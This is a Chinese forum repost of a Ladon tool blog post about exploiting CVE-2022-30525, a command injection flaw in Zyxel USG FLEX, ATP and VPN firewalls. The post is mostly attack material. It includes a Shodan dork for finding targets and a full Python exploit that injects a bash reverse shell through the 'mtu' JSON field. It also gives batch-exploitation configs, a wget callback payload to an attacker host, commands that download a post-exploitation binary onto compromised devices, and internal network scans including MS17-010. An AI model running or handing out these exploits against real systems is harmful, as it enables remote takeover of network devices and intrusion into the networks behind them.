Laodn漏洞复现cve-2022-30525命令注入

wangqiang · 发表于 2023-2-11 19:33:40

本帖最后由 wangqiang 于 2023-2-11 19:36 编辑

Laodn漏洞复现cve-2022-30525命令注入

k8gege K8实验室 2023-02-10 08:08 发表于广西 转载自：

Laodn漏洞复现cve-2022-30525命令注入

Ladon 10.7 2023.2.8
[u]WhatCMS
ZyXEL USG FLEX 50W
ZyXEL USG20W-VPN
ZyXEL USG
ZyXEL
Citrix Gateway
Citrix ADC
Citrix Login
Citrix Workspace
Citrix
20230202
[u]WhatCMS
Juniper
403 Page
RICOH
XAMPP
Zabbix
VMware Horizon
SugarCRM
SharePoint

复制代码

简介

受影响对象及利用情况

USG FLEX 100， 100W， 200， 500， 700
USG20-VPN， USG20W-VPN
ATP 100、200、500、700、800
VPN系列

漏洞复现

Poc

# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
# Date: May 18th 2022
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://www.zyxel.com
# Version: ZLD5.00 thru ZLD5.21
# Tested on: Linux
# CVE: CVE-2022-30525
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse
parser = argparse.ArgumentParser(
prog="CVE-2022-30525.py",
description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")
args = parser.parse_args()
print(args.url)
def main():
if None in vars(args).values():
print(f"[!] Please enter all parameters !")
parser.print_help()
sys.exit()
if "http" not in args.url:
args.url = "https://" + args.url
args.url += "/ztp/cgi-bin/handler"
exploit(args.url, args.host, args.port)
def exploit(url, host, port):
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
"Content-Type": "application/json",
}
data = {
"command": "setWanPortSt",
"proto": "dhcp",
"port": "4",
"vlan_tagged": "1",
"vlanid": "5",
"mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
"data": "hi",
}
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")
try:
response = requests.post(
url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
)
except (KeyboardInterrupt, requests.exceptions.Timeout):
print("[!] Bye Bye hekcer !")
sys.exit(1)
finally:
try:
print("[!] Can't exploit the target ! Code :", response.status_code)
except:
print("[!] Enjoy your shell !!!")
if __name__ == "__main__":
main()

复制代码

用法

python RevShell.py -u https://k8gege.org -r xxxxxxxxx -p 4444

复制代码

Ladon批量

[Ladon]
exe=C:\Users\k8gege\Python310\python.exe
arg=RevShell.py -u $ip$ -r xxxxxxxxx -p 4444

复制代码

Ladon渗透NC监听

批量检测命令

Ladon url.txt CVE-2022-30525.ini

复制代码

data = {
"command": "setWanPortSt",
"proto": "dhcp",
"port": "4",
"vlan_tagged": "1",
"vlanid": "5",
"mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
"data": "hi",
}

复制代码

0x002 LadonExp生成DLL

Zyxel cve-2022-30525 LadonExp
TargetURL: 反弹监听到的漏洞url
AddURL: /ztp/cgi-bin/handler
Post Data:
{"command": "setWanPortSt", "proto": "dhcp", "port": "4", "vlan_tagged": "1", "vlanid": "5", "mtu": ";wget http://xxxxxxx:800/isvul", "data":"hi"}
ContentType: application/json
Accept: application/json

复制代码

Ladon渗透Web监听

Ladon web 800

复制代码

大家学东西一定要会举一反三，教你用来外网渗透，到内网你就不知道了？只懂通过域控横向？外网可拿权限的各种方法，到内网也是同样思路。

批量检测

Ladon48 url.txt cve-2022-30525.dll

复制代码

0x003 后渗透

wget -O /tmp/1.tmp http://xxxx/Ladon.mips

复制代码

端口扫描

Ladon 192.168.93.1/c PortScan
Ladon 192.168.93.1/c ms17010
Ladon 192.168.93.1/c NbtScan

复制代码

小结

参考

无回显命令执行漏洞之Linux渗透方法

JAVA反序列化漏洞命令执行回显方法

		自动登录	找回密码
密码			立即注册